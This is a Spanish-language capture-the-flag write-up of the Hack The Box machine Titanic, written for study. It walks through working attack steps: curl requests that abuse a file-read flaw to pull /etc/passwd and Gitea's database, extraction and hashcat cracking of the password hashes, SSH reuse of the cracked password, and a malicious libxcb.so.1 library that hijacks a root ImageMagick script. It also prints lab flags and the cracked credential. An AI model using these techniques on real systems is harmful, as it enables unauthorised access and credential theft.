

PENTEST-STUDIO · WRITEUP TÉCNICO



HACK THE BOX · RETIRED · LINUX

Titanic

Writeup técnico completo ·
reconstrucción ordenada

Máquina Titanic resuelta

HTB Titanic · 2026-04-18

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico RETRO archivable
Objetivo	Documentar cadena técnica, user, root y trazabilidad reutilizable
Fecha de	2026-04-18

GUÍA DE LECTURA

Índice

Informe técnico completo de Titanic. El contenido conserva la cadena técnica validada y se presenta con una estructura limpia para archivo, estudio y consulta.

1. Enumeración inicial y superficie confirmada
2. Reconocimiento web y flujo de reserva
3. Hallazgo dominante: lectura arbitraria de ficheros mediante `ticket`
4. Enumeración local a través del file read
5. Hallazgo de Gitea y extracción de configuración
6. Descarga de `gitea.db` y recuperación de hashes
7. Crackeo offline y acceso SSH como `developer`
8. Enumeración local y hallazgo del script privilegiado
9. Escalada mediante ejecución privilegiada de `ImageMagick`
10. Registro de flags observadas y conflictos documentales
11. Resumen técnico final
12. Aportación al roadmap, checklist y sub-roadmaps
13. Material mezclado, ramas descartadas y pendientes de verificar

2. Enumeración inicial y superficie confirmada

Perfil de puertos y servicios sostenido por evidencia

La evidencia consistente del caso deja esta superficie válida:

- 22/tcp abierto → OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- 80/tcp abierto → Apache httpd 2.4.52
- cabeceras y fingerprinting adicionales → Werkzeug 3.0.3 y Python 3.10.12
- 3306/tcp cerrado

Lectura operativa de la fase

La máquina se presenta como un caso claramente orientado a **web + pivot de credenciales + post-explotación local**. No hay evidencia sólida de una vía inicial por SSH ni de exposición útil de MySQL al exterior.

Resolución local utilizada

Se añadió la resolución de `titanic.htb` a `/etc/hosts` y se trabajó la mayor parte del flujo contra ese virtual host.

Tecnologías visibles observadas

En las capturas de reconocimiento aparecen, como mínimo:

- Flask 3.0.3
- Python 3.10.12
- Bootstrap 4.5.2
- jQuery 3.5.1

Estas tecnologías sirven como **contexto**, pero la explotación real no depende de un exploit público específico contra ese stack.

3. Reconocimiento web y flujo de reserva

Sitio principal observado

La aplicación principal muestra una interfaz de reservas con un formulario para enviar:

- nombre

- correo
- teléfono
- fecha de viaje
- tipo de cabina

Comportamiento importante del formulario

La evidencia de `Burp Suite` deja un pivote muy claro:

1. se envía un `POST /book`
2. la aplicación responde con `302 FOUND`
3. la redirección entrega un identificador de ticket del estilo:
 - `/download?ticket=<uuid>.json`

Ese detalle convierte el endpoint `download` en el objeto más importante de la fase web.

Nota editorial

En material posterior aparecen JSON de reserva normales y JSON de reserva con payloads XSS en el campo `name`. Eso confirma que el flujo de tickets fue inspeccionado en profundidad, aunque no toda esa actividad forme parte de la cadena final.

4. Hallazgo dominante: lectura arbitraria de ficheros mediante `ticket`

Qué queda realmente validado

La cadena principal queda sostenida por el hecho de que `download?ticket=` permitía recuperar ficheros locales del sistema mediante rutas suministradas por el atacante.

Evidencias fuertes del hallazgo

Se observan solicitudes exitosas contra rutas como:

```
curl 'http://titanic.htb/download?ticket=/etc/passwd' -o etc-passwd.txt
curl 'http://titanic.htb/download?ticket=/home/developer/user.txt' -o user.txt
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini' -o gitea_app.ini
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
```

Interpretación técnica

No hace falta forzar aquí una taxonomía rígida entre LFI, path traversal o arbitrary file read. Lo importante para la reconstrucción del caso es esto:

- el parámetro `ticket` dejó de comportarse como un identificador lógico de objeto
- pasó a comportarse como una referencia de ruta utilizable por el atacante
- eso permitió leer ficheros sensibles del host y pivotar a credenciales

Lección de método

El salto crítico del caso no estuvo en un bypass complejo, sino en **probar el endpoint derivado de la propia lógica de negocio** después de observar el `302` del formulario.

5. Enumeración local a través del file read

Enumeración útil probada

La lectura arbitraria permitió recuperar, como mínimo:

- `/etc/passwd`
- el `user.txt` del usuario `developer`
- la configuración de Gitea
- la base de datos SQLite de Gitea

Hallazgo estructural importante

Esta fase cambia completamente la naturaleza del caso:

- deja de ser una simple enumeración web externa
- pasa a ser una **enumeración del sistema víctima desde la propia aplicación web**

Nota de precisión

Aparecen también pruebas y payloads contra rutas relativas más largas, especialmente asociadas a `dev.titanic.htb`. Esa línea se conserva como exploración secundaria, pero la evidencia más limpia de la cadena principal es la lectura directa de rutas absolutas desde `titanic.htb`.

6. Hallazgo de Gitea y extracción de configuración

Qué se obtuvo

El caso conserva evidencia de la descarga de `app.ini`, que revela una instalación de **Gitea**.

Datos operativos visibles en la configuración

Del material retro se desprenden al menos estos elementos:

- `APP_NAME = Gitea: Git with a cup of tea`
- `HTTP_PORT = 3000`
- `ROOT_URL = http://gitea.titanic.htb/`
- `SSH_PORT = 22`
- base de datos SQLite en `/data/gitea/gitea.db`
- rutas de trabajo dentro de `/data/gitea` y repositorios en `/data/git/repositories`

Confusión documental asociada

Aquí aparece una inconsistencia menor pero importante:

- una captura valida la existencia de una instancia de Gitea navegada en `dev.titanic.htb`
- la propia configuración referencia `gitea.titanic.htb`

La reconstrucción más prudente es asumir que el laboratorio retro refleja **nombres de host distintos para la misma pieza o para estados diferentes de la misma instalación**, sin que eso altere la cadena principal: la clave fue la obtención de la configuración y de la base de datos.

Derivación útil de la fase

Una vez obtenidos `app.ini` y `gitea.db`, el siguiente paso lógico —y efectivamente ejecutado— fue ir a por las **credenciales locales de Gitea**.

7. Descarga de `gitea.db` y recuperación de hashes

Extracción observada

El material conserva la transformación de los hashes hexadecimales de Gitea al formato utilizable por `hashcat`.

```
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do \  
  digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); \  
  salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); \  
  name=$(echo "$data" | cut -d'|' -f3); \  
  echo "${name}:sha256:50000:${salt}:${digest}"; \  
done | tee gitea.hashes
```

Usuarios presentes en la base de datos

La base SQLite conserva al menos dos cuentas locales:

- `administrator`
- `developer`

Tipo de valor derivado

En los artefactos intermedios aparecen dos hashes en formato equivalente a:

```
10000:<salt>:<digest>  
10000:<salt>:<digest>
```

Ese detalle confirma que el caso pasó de **file read** a **credential access** sin necesidad de explotar directamente la interfaz de Gitea.

8. Crackeo offline y acceso SSH como `developer`

Crackeo observado

Se ejecutó:

```
hashcat -m 10900 -a 0 gitea.hashes /usr/share/wordlists/rockyou.txt --username
```

Credencial que sí queda sostenida por la evidencia retro

La cadena principal conserva como credencial reutilizada:

- usuario: `developer`
- contraseña: `25282528`

Reutilización efectiva

Esa contraseña se reutilizó con éxito en SSH:

```
ssh developer@10.10.11.55
```

La captura de terminal confirma el acceso interactivo como `developer` en el host víctima.

Lectura metodológica

Este tramo fija un patrón muy reutilizable:

file read web → extracción de base local → crackeo offline → reutilización contra SSH

9. Enumeración local y hallazgo del script privilegiado

Hallazgo principal en el sistema

Ya como `developer`, la enumeración local identifica un script relevante en:

```
/opt/scripts/identify_images.sh
```

Contenido observado del script

El material visual muestra un flujo equivalente a este:

```
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick
identify >> metadata.log
```


Qué importa de verdad en esta fase

- el script trabaja en un directorio escribible/controlable por el atacante
- ejecuta `ImageMagick` con privilegios superiores al usuario `developer`
- el directorio de trabajo y la forma de invocar `magick` abren una vía de abuso local

Confirmación de versión

La versión observada fue:

```
ImageMagick 7.1.1-35 Q16-HDRI
```

Nota de precisión

El material no demuestra por sí solo toda la mecánica interna del cargador dinámico. Lo que sí demuestra es que la explotación efectiva se apoyó en colocar una biblioteca maliciosa `libxcb.so.1` en el directorio tratado por el script para que la ejecución privilegiada de `magick` desencadenase el payload.

Por tanto, la formulación más prudente es:

- **hecho verificado:** hubo una **library hijack local efectiva** asociada a la invocación privilegiada de `ImageMagick`
- **pendiente de verificar con más profundidad:** el detalle exacto de resolución de dependencias que hizo posible la carga

10. Escalada mediante ejecución privilegiada de `ImageMagick`

Payload observado

La captura conserva un payload C compilado como `libxcb.so.1`:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt && chmod 754 root.txt");
    exit(0);
}
```

Compilación observada

```
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt && chmod 754 root.txt");
    exit(0);
}
EOF
```

Ejecución operativa observada

```
cp libxcb.so.1 /opt/app/static/assets/images/
rm -f /opt/app/static/assets/images/metadata.log
/opt/scripts/identify_images.sh
ls -l /opt/app/static/assets/images/root.txt
cat /opt/app/static/assets/images/root.txt
```

Resultado técnico

La explotación no intenta abrir shell interactiva como root. Hace algo más limpio y coherente con el laboratorio:

- provoca la ejecución de código dentro del contexto privilegiado
- copia `root.txt` a un lugar accesible
- ajusta permisos para poder leerlo después como `developer`

Esa elección encaja muy bien con un caso retro orientado a **demostrar control privilegiado con mínimo ruido**.

11. Registro de flags observadas y conflictos documentales

Principio aplicado

Como el material retro contiene valores distintos para las flags, aquí no se fuerza una única versión sin advertencia previa.

user.txt

Se observan al menos dos valores en los artefactos:

Valor observado	Procedencia en el material	Estado
c12367c34bc20ac6459a05b45e42d119	captura de terminal del archivo local <code>_home_developer_user.txt</code>	verificado por captura, no confirmado por fichero subido
f9b1a13ea170d518e111fbc3f50e148a	fichero <code>_home_developer_user.txt</code> subido y MD antiguos	verificado por archivo, en conflicto con captura

root.txt

Se observan al menos dos valores en los artefactos:

Valor observado	Procedencia en el material	Estado
3e723cac1e9aabdbbb20b6907b90d3aa	captura de terminal mostrando <code>cat root.txt</code> en la carpeta de imágenes	verificado por captura
3b8ab8a0777a6c85a275d34ac14d8f96	MD antiguo de Titanic	verificado por texto retro, en conflicto con captura

Lectura editorial recomendada

La discrepancia es compatible con dos explicaciones razonables:

1. **rotación de flags** entre momentos distintos del laboratorio
2. **mezcla temporal de artefactos** procedentes de reconstrucciones diferentes

Para no falsear el caso, ambas se conservan como evidencia y se marcan como conflicto documental pendiente de verificación externa.

12. Resumen técnico final

Cadena técnica principal que mejor encaja con la evidencia

1. Enumeración inicial del host y validación de `22/tcp` y `80/tcp`.
2. Análisis del flujo de reserva y detección de la redirección a `download?ticket=`.

3. Prueba del parámetro `ticket` como vía de lectura arbitraria de ficheros.
4. Lectura de ficheros sensibles del sistema y del entorno de Gitea.
5. Descarga de `app.ini` y `gitea.db`.
6. Extracción de hashes locales de Gitea.
7. Crackeo offline del hash reutilizable.
8. Acceso SSH válido como `developer`.
9. Enumeración local del sistema.
10. Identificación del script privilegiado `identify_images.sh`.
11. Colocación de una `libxcb.so.1` maliciosa en el directorio procesado por el script.
12. Ejecución privilegiada de `magick` y copia de `root.txt` a una ubicación accesible.
13. Lectura final de la flag de root.

Patrón técnico que enseña la máquina

La máquina Titanic enseña muy bien este patrón:

file read en lógica de negocio → extracción de secretos de aplicación → crackeo offline → reutilización de credenciales → abuso de automatización privilegiada local

No es un caso de “exploit público milagroso”; es un caso de **encadenado disciplinado de pequeñas debilidades**.

13. Aportación al roadmap, checklist y sub-roadmaps

Aportación al roadmap maestro

Este caso refuerza un eje que merece quedar muy visible en el roadmap general:

- **cuando una aplicación permite leer archivos locales, el foco debe cambiar inmediatamente a secretos operativos y stores de credenciales**

En Titanic, eso significa ir a por:

- configuraciones de aplicación
- bases de datos locales
- claves, tokens y archivos de sesión
- credenciales reutilizables fuera del servicio web

Aportación a checklist fase 1

Titanic sugiere añadir o reforzar estos puntos:

- revisar con cuidado cualquier `302` o flujo de descarga generado por la propia aplicación
- tratar parámetros tipo `ticket`, `file`, `path`, `download`, `export`, `attachment` o equivalentes como candidatos prioritarios a lectura arbitraria
- si se consigue leer un fichero, priorizar enseguida `app.ini`, `.env`, SQLite, credenciales cacheadas y ficheros de usuario
- tras obtener shell de usuario, buscar automatizaciones privilegiadas que procesen archivos desde rutas controlables

Aportación al sub-roadmap web-base

Este caso encaja en web-base por:

- fingerprinting inicial del servicio
- análisis de flujo de formulario
- revisión de `302` y objetos descargables
- manipulación del parámetro `ticket`
- enumeración de virtual hosts como apoyo, sin confundirla con el camino dominante

Aportación al sub-roadmap web-auth / panel

Titanic aporta bastante a esta rama por:

- descubrimiento y uso de Gitea como fuente de credenciales
- extracción y tratamiento de SQLite local
- conversión de formatos de hash del panel a formatos crackeables offline
- reutilización de credenciales del panel para acceso SSH al sistema

Aportación metodológica general

La lección grande del caso no es "Gitea", sino esta:

- **un panel o servicio auxiliar encontrado tras un file read suele ser más valioso como almacén de credenciales que como superficie de ataque directa**

14. Material mezclado, ramas descartadas y pendientes de verificar

14.1 Rama XSS / `.htpasswd` en `dev.titanic.htb`

Se conservaron payloads y scripts que intentan:

- subir un `.php.md` o `.md` con JavaScript
- forzar lectura de `.htpasswd` desde `dev.titanic.htb`
- exfiltrar el contenido a un listener HTTP del atacante

Eso prueba exploración técnica real, pero **no prueba que esta rama fuese la necesaria** para llegar a `developer`.

Estado: camino secundario documentado, no integrado a la cadena canónica.

14.2 Rama de port knocking

Hay gran cantidad de scripts y escaneos dedicados a hipótesis de `port knocking`. Sin embargo:

- los escaneos que mejor sostienen el caso ya muestran `22/tcp` y `80/tcp` abiertos
- los nmap “after knock” dejan en muchos casos esos puertos como `filtered`
- no hay encaje narrativo limpio entre esa experimentación y la explotación final

Estado: camino descartado por falta de soporte en la cadena principal.

14.3 DOCX contaminado

El DOCX antiguo atribuido a Titanic describe realmente una máquina distinta, con referencias a:

- `alert.htb`
- `messages.php`
- `statistics.alert.htb`
- usuario `albert`
- `website-monitor`
- reverse shell por PHP

Estado: material ajeno al caso; se conserva solo como evidencia de mezcla documental.

14.4 Pendientes de verificar

Quedan marcados como pendientes razonables:

- aclarar si `dev.titanic.htb` y `gitea.titanic.htb` fueron dos nombres funcionales del mismo servicio o si hubo cambio de configuración entre momentos distintos
 - determinar con precisión qué valor de `user.txt` y `root.txt` corresponde al tramo exacto de la resolución retro que se quiere archivar como definitivo
 - documentar con más profundidad la mecánica exacta del hijack de `libxcb.so.1` durante la ejecución privilegiada de `magick`
-

